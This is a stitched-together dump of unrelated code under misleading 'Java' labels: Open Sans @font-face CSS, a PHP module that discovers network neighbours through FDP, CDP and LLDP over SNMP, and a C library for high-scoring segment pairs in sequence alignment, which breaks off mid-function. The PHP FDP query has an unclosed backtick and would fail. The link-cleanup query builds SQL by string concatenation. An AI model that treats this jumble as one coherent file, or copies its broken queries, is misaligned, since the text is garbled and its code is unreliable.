@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/59ZRklaO5bWGqF5A9baEERJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/u-WUoqrET9fUeobQW7jkRRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
/* cyrillic-ext */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzK-j2U0lmluP9RWlSytm3ho.woff2) format('woff2');
unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;
}
/* cyrillic */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzJX5f-9o1vgP2EXwfjgl7AY.woff2) format('woff2');
unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzBWV49_lSm1NYrwo-zkhivY.woff2) format('woff2');
unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzKaRobkAwv3vxw3jMhVENGA.woff2) format('woff2');
unicode-range: U+0370-03FF;
}
/* vietnamese */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzP8zf_FOSsgRmwsS7Aa9k2w.woff2) format('woff2');
unicode-range: U+0102-0103, U+1EA0-1EF9, U+20AB;
}
/* latin-ext */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzD0LW-43aMEzIO6XUTLjad8.woff2) format('woff2');
unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 700;
src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v13/k3k702ZOKiLJc3WVjuplzOgdm0LZdjqr5-oayXSOefg.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
| Java |
<?php
echo("Discovery protocols:");
global $link_exists;
$community = $device['community'];
if ($device['os'] == "ironware")
{
echo(" Brocade FDP: ");
$fdp_array = snmpwalk_cache_twopart_oid($device, "snFdpCacheEntry", array(), "FOUNDRY-SN-SWITCH-GROUP-MIB");
if ($fdp_array)
{
unset($fdp_links);
foreach (array_keys($fdp_array) as $key)
{
$interface = dbFetchRow("SELECT * FROM `ports` WHERE `device_id` = ? AND `ifIndex` = ?",array($device['device_id'],$key));
$fdp_if_array = $fdp_array[$key];
foreach (array_keys($fdp_if_array) as $entry_key)
{
$fdp = $fdp_if_array[$entry_key];
$remote_device_id = dbFetchCell("SELECT `device_id` FROM `devices` WHERE `sysName` = ? OR `hostname` = ?",array($fdp['snFdpCacheDeviceId'], $fdp['snFdpCacheDeviceId']));
if (!$remote_device_id)
{
$remote_device_id = discover_new_device($fdp['snFdpCacheDeviceId']);
if ($remote_device_id)
{
$int = ifNameDescr($interface);
log_event("Device autodiscovered through FDP on " . $device['hostname'] . " (port " . $int['label'] . ")", $remote_device_id, 'interface', $int['port_id']);
}
}
if ($remote_device_id)
{
$if = $fdp['snFdpCacheDevicePort'];
$remote_port_id = dbFetchCell("SELECT port_id FROM `ports` WHERE (`ifDescr` = ? OR `ifName = ?) AND `device_id` = ?",array($if,$if,$remote_device_id));
} else { $remote_port_id = "0"; }
discover_link($interface['port_id'], $fdp['snFdpCacheVendorId'], $remote_port_id, $fdp['snFdpCacheDeviceId'], $fdp['snFdpCacheDevicePort'], $fdp['snFdpCachePlatform'], $fdp['snFdpCacheVersion']);
}
}
}
}
echo(" CISCO-CDP-MIB: ");
unset($cdp_array);
$cdp_array = snmpwalk_cache_twopart_oid($device, "cdpCache", array(), "CISCO-CDP-MIB");
if ($cdp_array)
{
unset($cdp_links);
foreach (array_keys($cdp_array) as $key)
{
$interface = dbFetchRow("SELECT * FROM `ports` WHERE device_id = ? AND `ifIndex` = ?", array($device['device_id'], $key));
$cdp_if_array = $cdp_array[$key];
foreach (array_keys($cdp_if_array) as $entry_key)
{
$cdp = $cdp_if_array[$entry_key];
if (is_valid_hostname($cdp['cdpCacheDeviceId']))
{
$remote_device_id = dbFetchCell("SELECT `device_id` FROM `devices` WHERE `sysName` = ? OR `hostname` = ?", array($cdp['cdpCacheDeviceId'], $cdp['cdpCacheDeviceId']));
if (!$remote_device_id)
{
$remote_device_id = discover_new_device($cdp['cdpCacheDeviceId']);
if ($remote_device_id)
{
$int = ifNameDescr($interface);
log_event("Device autodiscovered through CDP on " . $device['hostname'] . " (port " . $int['label'] . ")", $remote_device_id, 'interface', $int['port_id']);
}
}
if ($remote_device_id)
{
$if = $cdp['cdpCacheDevicePort'];
$remote_port_id = dbFetchCell("SELECT port_id FROM `ports` WHERE (`ifDescr` = ? OR `ifName` = ?) AND `device_id` = ?", array($if, $if, $remote_device_id));
} else { $remote_port_id = "0"; }
if ($interface['port_id'] && $cdp['cdpCacheDeviceId'] && $cdp['cdpCacheDevicePort'])
{
discover_link($interface['port_id'], 'cdp', $remote_port_id, $cdp['cdpCacheDeviceId'], $cdp['cdpCacheDevicePort'], $cdp['cdpCachePlatform'], $cdp['cdpCacheVersion']);
}
}
else
{
echo("X");
}
}
}
}
echo(" LLDP-MIB: ");
unset($lldp_array);
$lldp_array = snmpwalk_cache_threepart_oid($device, "lldpRemoteSystemsData", array(), "LLDP-MIB");
$dot1d_array = snmpwalk_cache_oid($device, "dot1dBasePortIfIndex", array(), "BRIDGE-MIB");
if ($lldp_array)
{
$lldp_links = "";
foreach (array_keys($lldp_array) as $key)
{
$lldp_if_array = $lldp_array[$key];
foreach (array_keys($lldp_if_array) as $entry_key)
{
if (is_numeric($dot1d_array[$entry_key]['dot1dBasePortIfIndex']))
{
$ifIndex = $dot1d_array[$entry_key]['dot1dBasePortIfIndex'];
} else {
$ifIndex = $entry_key;
}
$interface = dbFetchRow("SELECT * FROM `ports` WHERE `device_id` = ? AND `ifIndex` = ?",array($device['device_id'],$ifIndex));
$lldp_instance = $lldp_if_array[$entry_key];
foreach (array_keys($lldp_instance) as $entry_instance)
{
$lldp = $lldp_instance[$entry_instance];
$remote_device_id = dbFetchCell("SELECT `device_id` FROM `devices` WHERE `sysName` = ? OR `hostname` = ?",array($lldp['lldpRemSysName'], $lldp['lldpRemSysName']));
if (!$remote_device_id && is_valid_hostname($lldp['lldpRemSysName']))
{
$remote_device_id = discover_new_device($lldp['lldpRemSysName']);
if ($remote_device_id)
{
$int = ifNameDescr($interface);
log_event("Device autodiscovered through LLDP on " . $device['hostname'] . " (port " . $int['label'] . ")", $remote_device_id, 'interface', $int['port_id']);
}
}
if ($remote_device_id)
{
$if = $lldp['lldpRemPortDesc']; $id = $lldp['lldpRemPortId'];
$remote_port_id = dbFetchCell("SELECT `port_id` FROM `ports` WHERE (`ifDescr` = ? OR `ifName` = ? OR `ifDescr` = ? OR `ifName` = ?) AND `device_id` = ?",array($if,$if,$id,$id,$remote_device_id));
} else {
$remote_port_id = "0";
}
if (is_numeric($interface['port_id']) && isset($lldp['lldpRemSysName']) && isset($lldp['lldpRemPortId']))
{
discover_link($interface['port_id'], 'lldp', $remote_port_id, $lldp['lldpRemSysName'], $lldp['lldpRemPortId'], NULL, $lldp['lldpRemSysDesc']);
}
}
}
}
}
if ($debug) { print_r($link_exists); }
$sql = "SELECT * FROM `links` AS L, `ports` AS I WHERE L.local_port_id = I.port_id AND I.device_id = '".$device['device_id']."'";
foreach (dbFetchRows($sql) as $test)
{
$local_port_id = $test['local_port_id'];
$remote_hostname = $test['remote_hostname'];
$remote_port = $test['remote_port'];
if ($debug) { echo("$local_port_id -> $remote_hostname -> $remote_port \n"); }
if (!$link_exists[$local_port_id][$remote_hostname][$remote_port])
{
echo("-");
$rows = dbDelete('links', '`id` = ?', array($test['id']));
if ($debug) { echo("$rows deleted "); }
}
}
unset($link_exists);
echo("\n");
?>
| Java |
/****************************************************************\
* *
* Library for HSP sets (high-scoring segment pairs) *
* *
* Guy St.C. Slater.. mailto:[email protected] *
* Copyright (C) 2000-2008. All Rights Reserved. *
* *
* This source code is distributed under the terms of the *
* GNU General Public License, version 3. See the file COPYING *
* or http://www.gnu.org/licenses/gpl.txt for details *
* *
* If you use this code, please keep this notice intact. *
* *
\****************************************************************/
#include <string.h> /* For strlen() */
#include <ctype.h> /* For tolower() */
#include <stdlib.h> /* For qsort() */
#include "hspset.h"
HSPset_ArgumentSet *HSPset_ArgumentSet_create(Argument *arg){
register ArgumentSet *as;
static HSPset_ArgumentSet has = {0};
if(arg){
as = ArgumentSet_create("HSP creation options");
ArgumentSet_add_option(as, '\0', "hspfilter", NULL,
"Aggressive HSP filtering level", "0",
Argument_parse_int, &has.filter_threshold);
ArgumentSet_add_option(as, '\0', "useworddropoff", NULL,
"Use word neighbourhood dropoff", "TRUE",
Argument_parse_boolean, &has.use_wordhood_dropoff);
ArgumentSet_add_option(as, '\0', "seedrepeat", NULL,
"Seeds per diagonal required for HSP seeding", "1",
Argument_parse_int, &has.seed_repeat);
/**/
ArgumentSet_add_option(as, 0, "dnawordlen", "bp",
"Wordlength for DNA words", "12",
Argument_parse_int, &has.dna_wordlen);
ArgumentSet_add_option(as, 0, "proteinwordlen", "aa",
"Wordlength for protein words", "6",
Argument_parse_int, &has.protein_wordlen);
ArgumentSet_add_option(as, 0, "codonwordlen", "bp",
"Wordlength for codon words", "12",
Argument_parse_int, &has.codon_wordlen);
/**/
ArgumentSet_add_option(as, 0, "dnahspdropoff", "score",
"DNA HSP dropoff score", "30",
Argument_parse_int, &has.dna_hsp_dropoff);
ArgumentSet_add_option(as, 0, "proteinhspdropoff", "score",
"Protein HSP dropoff score", "20",
Argument_parse_int, &has.protein_hsp_dropoff);
ArgumentSet_add_option(as, 0, "codonhspdropoff", "score",
"Codon HSP dropoff score", "40",
Argument_parse_int, &has.codon_hsp_dropoff);
/**/
ArgumentSet_add_option(as, 0, "dnahspthreshold", "score",
"DNA HSP threshold score", "75",
Argument_parse_int, &has.dna_hsp_threshold);
ArgumentSet_add_option(as, 0, "proteinhspthreshold", "score",
"Protein HSP threshold score", "30",
Argument_parse_int, &has.protein_hsp_threshold);
ArgumentSet_add_option(as, 0, "codonhspthreshold", "score",
"Codon HSP threshold score", "50",
Argument_parse_int, &has.codon_hsp_threshold);
/**/
ArgumentSet_add_option(as, 0, "dnawordlimit", "score",
"Score limit for dna word neighbourhood", "0",
Argument_parse_int, &has.dna_wordlimit);
ArgumentSet_add_option(as, 0, "proteinwordlimit", "score",
"Score limit for protein word neighbourhood", "4",
Argument_parse_int, &has.protein_wordlimit);
ArgumentSet_add_option(as, 0, "codonwordlimit", "score",
"Score limit for codon word neighbourhood", "4",
Argument_parse_int, &has.codon_wordlimit);
/**/
ArgumentSet_add_option(as, '\0', "geneseed", "threshold",
"Geneseed Threshold", "0",
Argument_parse_int, &has.geneseed_threshold);
ArgumentSet_add_option(as, '\0', "geneseedrepeat", "number",
"Seeds per diagonal required for geneseed HSP seeding", "3",
Argument_parse_int, &has.geneseed_repeat);
/**/
Argument_absorb_ArgumentSet(arg, as);
}
return &has;
}
/**/
static gboolean HSP_check_positions(HSPset *hsp_set,
gint query_pos, gint target_pos){
g_assert(query_pos >= 0);
g_assert(target_pos >= 0);
g_assert(query_pos < hsp_set->query->len);
g_assert(target_pos < hsp_set->target->len);
return TRUE;
}
static gboolean HSP_check(HSP *hsp){
g_assert(hsp);
g_assert(hsp->hsp_set);
g_assert(hsp->length);
g_assert(HSP_query_end(hsp) <= hsp->hsp_set->query->len);
g_assert(HSP_target_end(hsp) <= hsp->hsp_set->target->len);
return TRUE;
}
void HSP_Param_set_wordlen(HSP_Param *hsp_param, gint wordlen){
if(wordlen <= 0)
g_error("Wordlength must be greater than zero");
hsp_param->wordlen = wordlen;
hsp_param->seedlen = hsp_param->wordlen
/ hsp_param->match->query->advance;
return;
}
/**/
void HSP_Param_set_dna_hsp_threshold(HSP_Param *hsp_param,
gint dna_hsp_threshold){
if(hsp_param->match->type == Match_Type_DNA2DNA)
hsp_param->threshold = dna_hsp_threshold;
return;
}
void HSP_Param_set_protein_hsp_threshold(HSP_Param *hsp_param,
gint protein_hsp_threshold){
if((hsp_param->match->type == Match_Type_PROTEIN2PROTEIN)
|| (hsp_param->match->type == Match_Type_PROTEIN2DNA)
|| (hsp_param->match->type == Match_Type_DNA2PROTEIN))
hsp_param->threshold = protein_hsp_threshold;
return;
}
void HSP_Param_set_codon_hsp_threshold(HSP_Param *hsp_param,
gint codon_hsp_threshold){
if(hsp_param->match->type == Match_Type_CODON2CODON)
hsp_param->threshold = codon_hsp_threshold;
return;
}
/**/
void HSP_Param_set_dna_hsp_dropoff(HSP_Param *hsp_param,
gint dna_hsp_dropoff){
if(hsp_param->match->type == Match_Type_DNA2DNA)
hsp_param->dropoff = dna_hsp_dropoff;
return;
}
void HSP_Param_set_protein_hsp_dropoff(HSP_Param *hsp_param,
gint protein_hsp_dropoff){
if((hsp_param->match->type == Match_Type_PROTEIN2PROTEIN)
|| (hsp_param->match->type == Match_Type_PROTEIN2DNA)
|| (hsp_param->match->type == Match_Type_DNA2PROTEIN))
hsp_param->dropoff = protein_hsp_dropoff;
return;
}
void HSP_Param_set_codon_hsp_dropoff(HSP_Param *hsp_param,
gint codon_hsp_dropoff){
if(hsp_param->match->type == Match_Type_CODON2CODON)
hsp_param->dropoff = codon_hsp_dropoff;
return;
}
/**/
void HSP_Param_set_hsp_threshold(HSP_Param *hsp_param,
gint hsp_threshold){
hsp_param->threshold = hsp_threshold;
return;
}
void HSP_Param_set_seed_repeat(HSP_Param *hsp_param,
gint seed_repeat){
hsp_param->seed_repeat = seed_repeat;
return;
}
HSP_Param *HSP_Param_create(Match *match, gboolean use_horizon){
register HSP_Param *hsp_param = g_new(HSP_Param, 1);
register WordHood_Alphabet *wha = NULL;
register Submat *submat;
hsp_param->ref_count = 1;
hsp_param->has = HSPset_ArgumentSet_create(NULL);
hsp_param->match = match;
hsp_param->seed_repeat = hsp_param->has->seed_repeat;
switch(match->type){
case Match_Type_DNA2DNA:
hsp_param->dropoff = hsp_param->has->dna_hsp_dropoff;
hsp_param->threshold = hsp_param->has->dna_hsp_threshold;
HSP_Param_set_wordlen(hsp_param, hsp_param->has->dna_wordlen);
hsp_param->wordlimit = hsp_param->has->dna_wordlimit;
break;
case Match_Type_PROTEIN2PROTEIN: /*fallthrough*/
case Match_Type_PROTEIN2DNA: /*fallthrough*/
case Match_Type_DNA2PROTEIN:
hsp_param->dropoff = hsp_param->has->protein_hsp_dropoff;
hsp_param->threshold
= hsp_param->has->protein_hsp_threshold;
HSP_Param_set_wordlen(hsp_param, hsp_param->has->protein_wordlen);
hsp_param->wordlimit = hsp_param->has->protein_wordlimit;
break;
case Match_Type_CODON2CODON:
hsp_param->dropoff = hsp_param->has->codon_hsp_dropoff;
hsp_param->threshold = hsp_param->has->codon_hsp_threshold;
HSP_Param_set_wordlen(hsp_param, hsp_param->has->codon_wordlen);
hsp_param->wordlimit = hsp_param->has->codon_wordlimit;
g_assert(!(hsp_param->wordlen % 3));
break;
default:
g_error("Bad Match_Type [%d]", match->type);
break;
}
hsp_param->use_horizon = use_horizon;
if(hsp_param->has->use_wordhood_dropoff && (!hsp_param->wordlimit)){
hsp_param->wordhood = NULL;
} else {
submat = (match->type == Match_Type_DNA2DNA)
? match->mas->dna_submat
: match->mas->protein_submat;
wha = WordHood_Alphabet_create_from_Submat(
(gchar*)match->comparison_alphabet->member,
(gchar*)match->comparison_alphabet->member, submat, FALSE);
g_assert(wha);
hsp_param->wordhood = WordHood_create(wha, hsp_param->wordlimit,
hsp_param->has->use_wordhood_dropoff);
WordHood_Alphabet_destroy(wha);
}
return hsp_param;
}
void HSP_Param_destroy(HSP_Param *hsp_param){
g_assert(hsp_param);
if(--hsp_param->ref_count)
return;
if(hsp_param->wordhood)
WordHood_destroy(hsp_param->wordhood);
g_free(hsp_param);
return;
}
HSP_Param *HSP_Param_share(HSP_Param *hsp_param){
g_assert(hsp_param);
hsp_param->ref_count++;
return hsp_param;
}
HSP_Param *HSP_Param_swap(HSP_Param *hsp_param){
g_assert(hsp_param);
return HSP_Param_create(Match_swap(hsp_param->match),
hsp_param->use_horizon);
}
static RecycleBin *global_hsp_recycle_bin = NULL;
HSPset *HSPset_create(Sequence *query, Sequence *target,
HSP_Param *hsp_param){
register HSPset *hsp_set = g_new(HSPset, 1);
g_assert(query);
g_assert(target);
hsp_set->ref_count = 1;
hsp_set->query = Sequence_share(query);
hsp_set->target = Sequence_share(target);
hsp_set->param = HSP_Param_share(hsp_param);
/**/
if(global_hsp_recycle_bin){
hsp_set->hsp_recycle = RecycleBin_share(global_hsp_recycle_bin);
} else {
global_hsp_recycle_bin = RecycleBin_create("HSP", sizeof(HSP), 64);
hsp_set->hsp_recycle = global_hsp_recycle_bin;
}
if(hsp_param->use_horizon){
hsp_set->horizon = (gint****)Matrix4d_create(
1 + ((hsp_param->seed_repeat > 1)?1:0),
query->len,
hsp_param->match->query->advance,
hsp_param->match->target->advance,
sizeof(gint));
} else {
hsp_set->horizon = NULL;
}
hsp_set->hsp_list = g_ptr_array_new();
hsp_set->is_finalised = FALSE;
hsp_set->param->has = HSPset_ArgumentSet_create(NULL);
if(hsp_set->param->has->filter_threshold){
hsp_set->filter = g_new0(PQueue*, query->len);
hsp_set->pqueue_set = PQueueSet_create();
} else {
hsp_set->filter = NULL;
hsp_set->pqueue_set = NULL;
}
hsp_set->is_empty = TRUE;
return hsp_set;
}
/**/
HSPset *HSPset_share(HSPset *hsp_set){
g_assert(hsp_set);
hsp_set->ref_count++;
return hsp_set;
}
void HSPset_destroy(HSPset *hsp_set){
register gint i;
register HSP *hsp;
g_assert(hsp_set);
if(--hsp_set->ref_count)
return;
HSP_Param_destroy(hsp_set->param);
if(hsp_set->filter)
g_free(hsp_set->filter);
if(hsp_set->pqueue_set)
PQueueSet_destroy(hsp_set->pqueue_set);
Sequence_destroy(hsp_set->query);
Sequence_destroy(hsp_set->target);
for(i = 0; i < hsp_set->hsp_list->len; i++){
hsp = hsp_set->hsp_list->pdata[i];
HSP_destroy(hsp);
}
g_ptr_array_free(hsp_set->hsp_list, TRUE);
if(hsp_set->hsp_recycle->ref_count == 1) /* last active hsp_set */
global_hsp_recycle_bin = NULL;
RecycleBin_destroy(hsp_set->hsp_recycle);
if(hsp_set->horizon)
g_free(hsp_set->horizon);
g_free(hsp_set);
return;
}
void HSPset_swap(HSPset *hsp_set, HSP_Param *hsp_param){
register Sequence *query;
register gint i, query_start;
register HSP *hsp;
g_assert(hsp_set->ref_count == 1);
/* Swap query and target */
query = hsp_set->query;
hsp_set->query = hsp_set->target;
hsp_set->target = query;
/* Switch parameters */
HSP_Param_destroy(hsp_set->param);
hsp_set->param = HSP_Param_share(hsp_param);
/* Swap HSPs coordinates */
for(i = 0; i < hsp_set->hsp_list->len; i++){
hsp = hsp_set->hsp_list->pdata[i];
query_start = hsp->query_start;
hsp->query_start = hsp->target_start;
hsp->target_start = query_start;
}
return;
}
void HSPset_revcomp(HSPset *hsp_set){
register Sequence *rc_query = Sequence_revcomp(hsp_set->query),
*rc_target = Sequence_revcomp(hsp_set->target);
register gint i;
register HSP *hsp;
g_assert(hsp_set);
g_assert(hsp_set->is_finalised);
g_assert(hsp_set->ref_count == 1);
/**/
Sequence_destroy(hsp_set->query);
Sequence_destroy(hsp_set->target);
hsp_set->query = rc_query;
hsp_set->target = rc_target;
for(i = 0; i < hsp_set->hsp_list->len; i++){
hsp = hsp_set->hsp_list->pdata[i];
hsp->query_start = hsp_set->query->len - HSP_query_end(hsp);
hsp->target_start = hsp_set->target->len - HSP_target_end(hsp);
}
return;
}
static gint HSP_find_cobs(HSP *hsp){
register gint i, query_pos = hsp->query_start,
target_pos = hsp->target_start;
register Match_Score score = 0;
/* Find the HSP centre offset by score */
for(i = 0; i < hsp->length; i++){
g_assert(HSP_check_positions(hsp->hsp_set,
query_pos, target_pos));
score += HSP_get_score(hsp, query_pos, target_pos);
if(score >= (hsp->score>>1))
break;
query_pos += HSP_query_advance(hsp);
target_pos += HSP_target_advance(hsp);
}
return i;
}
/**/
static void HSP_print_info(HSP *hsp){
g_print("HSP info (%p)\n"
" query_start = [%d]\n"
" target_start = [%d]\n"
" length = [%d]\n"
" score = [%d]\n"
" cobs = [%d]\n",
(gpointer)hsp,
hsp->query_start,
hsp->target_start,
hsp->length,
hsp->score,
hsp->cobs);
return;
}
typedef struct {
HSP *hsp; /* not freed */
gint padding;
gint max_advance;
gint query_display_pad;
gint target_display_pad;
GString *top;
GString *mid;
GString *low;
} HSP_Display;
static HSP_Display *HSP_Display_create(HSP *hsp, gint padding){
register HSP_Display *hd = g_new(HSP_Display, 1);
register gint approx_length;
hd->hsp = hsp;
hd->padding = padding;
hd->max_advance = MAX(HSP_query_advance(hsp),
HSP_target_advance(hsp));
hd->query_display_pad = (hd->max_advance
-HSP_query_advance(hsp))>>1;
hd->target_display_pad = (hd->max_advance
-HSP_target_advance(hsp))>>1;
approx_length = hd->max_advance * (hsp->length + 2);
hd->top = g_string_sized_new(approx_length);
hd->mid = g_string_sized_new(approx_length);
hd->low = g_string_sized_new(approx_length);
return hd;
}
static void HSP_Display_destroy(HSP_Display *hd){
g_assert(hd);
g_string_free(hd->top, TRUE);
g_string_free(hd->mid, TRUE);
g_string_free(hd->low, TRUE);
g_free(hd);
return;
}
static void HSP_Display_add(HSP_Display *hd,
gchar *top, gchar *mid, gchar *low){
g_assert(hd);
g_assert(top);
g_assert(mid);
g_assert(low);
g_string_append(hd->top, top);
g_string_append(hd->mid, mid);
g_string_append(hd->low, low);
g_assert(hd->top->len == hd->mid->len);
g_assert(hd->mid->len == hd->low->len);
return;
}
static gchar HSP_Display_get_ruler_char(HSP_Display *hd, gint pos,
gint advance){
register gint stop;
register gint pad_length = 3;
stop = hd->padding * hd->max_advance;
if(pos >= stop){
if(pos < (stop+pad_length)){
return '#';
}
stop = ((hd->padding+hd->hsp->length) * hd->max_advance)
+ pad_length;
if(pos >= stop){
if(pos < (stop+pad_length)){
return '#';
}
pos -= pad_length;
}
pos -= pad_length;
}
if((pos/advance) & 1)
return '=';
return '-';
}
static void HSP_Display_print_ruler(HSP_Display *hd, gint width,
gint pos, gboolean is_query){
register gint i, adv;
if(is_query){
if(HSP_target_advance(hd->hsp) == 1)
return; /* opposite padding */
adv = HSP_target_advance(hd->hsp);
} else { /* Is target */
if(HSP_query_advance(hd->hsp) == 1)
return; /* opposite padding */
adv = HSP_query_advance(hd->hsp);
}
g_print(" ruler:[");
for(i = 0; i < width; i++)
g_print("%c", HSP_Display_get_ruler_char(hd, pos+i, adv));
g_print("]\n");
return;
}
static void HSP_Display_print(HSP_Display *hd){
register gint pos, pause, width = 50;
g_assert(hd);
g_assert(hd->top->len == hd->mid->len);
g_assert(hd->mid->len == hd->low->len);
for(pos = 0, pause = hd->top->len-width; pos < pause; pos += width){
HSP_Display_print_ruler(hd, width, pos, TRUE);
g_print(" query:[%.*s]\n [%.*s]\ntarget:[%.*s]\n",
width, hd->top->str+pos,
width, hd->mid->str+pos,
width, hd->low->str+pos);
HSP_Display_print_ruler(hd, width, pos, FALSE);
g_print("\n");
}
HSP_Display_print_ruler(hd, hd->top->len-pos, pos, TRUE);
g_print(" query:[%.*s]\n [%.*s]\ntarget:[%.*s]\n",
hd->top->len-pos, hd->top->str+pos,
hd->mid->len-pos, hd->mid->str+pos,
hd->low->len-pos, hd->low->str+pos);
HSP_Display_print_ruler(hd, hd->top->len-pos, pos, FALSE);
g_print("\n");
return;
}
static void HSP_Display_insert(HSP_Display *hd, gint position){
register gint query_pos, target_pos;
register gboolean is_padding,
query_valid = TRUE, target_valid = TRUE;
register Match *match = hd->hsp->hsp_set->param->match;
gchar query_str[4] = {0},
target_str[4] = {0},
equiv_str[4] = {0};
g_assert(hd);
query_pos = hd->hsp->query_start
+ (HSP_query_advance(hd->hsp) * position);
target_pos = hd->hsp->target_start
+ (HSP_target_advance(hd->hsp) * position);
/* If outside HSP, then is_padding */
is_padding = ((position < 0) || (position >= hd->hsp->length));
/* If outside seqs, then invalid */
query_valid = ( (query_pos >= 0)
&&((query_pos+HSP_query_advance(hd->hsp))
<= hd->hsp->hsp_set->query->len));
target_valid = ((target_pos >= 0)
&&((target_pos+HSP_target_advance(hd->hsp))
<= hd->hsp->hsp_set->target->len));
/* Get equiv string */
if(query_valid && target_valid){
g_assert(HSP_check_positions(hd->hsp->hsp_set,
query_pos, target_pos));
HSP_get_display(hd->hsp, query_pos, target_pos, equiv_str);
} else {
strncpy(equiv_str, "###", hd->max_advance);
equiv_str[hd->max_advance] = '\0';
}
/* Get query string */
if(query_valid){
Match_Strand_get_raw(match->query, hd->hsp->hsp_set->query,
query_pos, query_str);
if((match->query->advance == 1) && (hd->max_advance == 3)){
query_str[1] = query_str[0];
query_str[0] = query_str[2] = ' ';
query_str[3] = '\0';
}
} else {
strncpy(query_str, "###", hd->max_advance);
query_str[hd->max_advance] = '\0';
}
/* Get target string */
if(target_valid){
Match_Strand_get_raw(match->target, hd->hsp->hsp_set->target,
target_pos, target_str);
if((match->target->advance == 1) && (hd->max_advance == 3)){
target_str[1] = target_str[0];
target_str[0] = target_str[2] = ' ';
target_str[3] = '\0';
}
} else {
strncpy(target_str, "###", hd->max_advance);
target_str[hd->max_advance] = '\0';
}
/* Make lower case for padding */
if(is_padding){
g_strdown(query_str);
g_strdown(target_str);
} else {
g_strup(query_str);
g_strup(target_str);
}
HSP_Display_add(hd, query_str, equiv_str, target_str);
return;
}
static void HSP_print_alignment(HSP *hsp){
register HSP_Display *hd = HSP_Display_create(hsp, 10);
register gint i;
for(i = 0; i < hd->padding; i++) /* Pre-padding */
HSP_Display_insert(hd, i-hd->padding);
/* Use pad_length == 3 */
HSP_Display_add(hd, " < ", " < ", " < "); /* Start divider */
for(i = 0; i < hsp->length; i++) /* The HSP itself */
HSP_Display_insert(hd, i);
HSP_Display_add(hd, " > ", " > ", " > "); /* End divider */
for(i = 0; i < hd->padding; i++) /* Post-padding */
HSP_Display_insert(hd, hsp->length+i);
HSP_Display_print(hd);
HSP_Display_destroy(hd);
return;
}
/*
* HSP display style:
*
* =-=-=- =-=-=-=-=-=-=-=-=- =-=-=-
* nnnnnn < ACGACGCCCACGATCGAT > nnn###
* ||| < |||:::||| |||||| > |||
* ### x < A R N D C Q > x ###
* ===--- ===---===---===--- ===---
*/
static void HSP_print_sugar(HSP *hsp){
g_print("sugar: %s %d %d %c %s %d %d %c %d\n",
hsp->hsp_set->query->id,
hsp->query_start,
hsp->length*HSP_query_advance(hsp),
Sequence_get_strand_as_char(hsp->hsp_set->query),
hsp->hsp_set->target->id,
hsp->target_start,
hsp->length*HSP_target_advance(hsp),
Sequence_get_strand_as_char(hsp->hsp_set->target),
hsp->score);
return;
}
/* Sugar output format:
* sugar: <query_id> <query_start> <query_length> <query_strand>
* <target_id> <target_start> <target_start> <target_strand>
* <score>
*/
void HSP_print(HSP *hsp, gchar *name){
g_print("draw_hsp(%d, %d, %d, %d, %d, %d, \"%s\")\n",
hsp->query_start,
hsp->target_start,
hsp->length,
hsp->cobs,
HSP_query_advance(hsp),
HSP_target_advance(hsp),
name);
HSP_print_info(hsp);
HSP_print_alignment(hsp);
HSP_print_sugar(hsp);
return;
}
void HSPset_print(HSPset *hsp_set){
register gint i;
register gchar *name;
g_print("HSPset [%p] contains [%d] hsps\n",
(gpointer)hsp_set, hsp_set->hsp_list->len);
g_print("Comparison of [%s] and [%s]\n",
hsp_set->query->id, hsp_set->target->id);
for(i = 0; i < hsp_set->hsp_list->len; i++){
name = g_strdup_printf("hsp [%d]", i+1);
HSP_print(hsp_set->hsp_list->pdata[i], name);
g_free(name);
}
return;
}
/**/
static void HSP_init(HSP *nh){
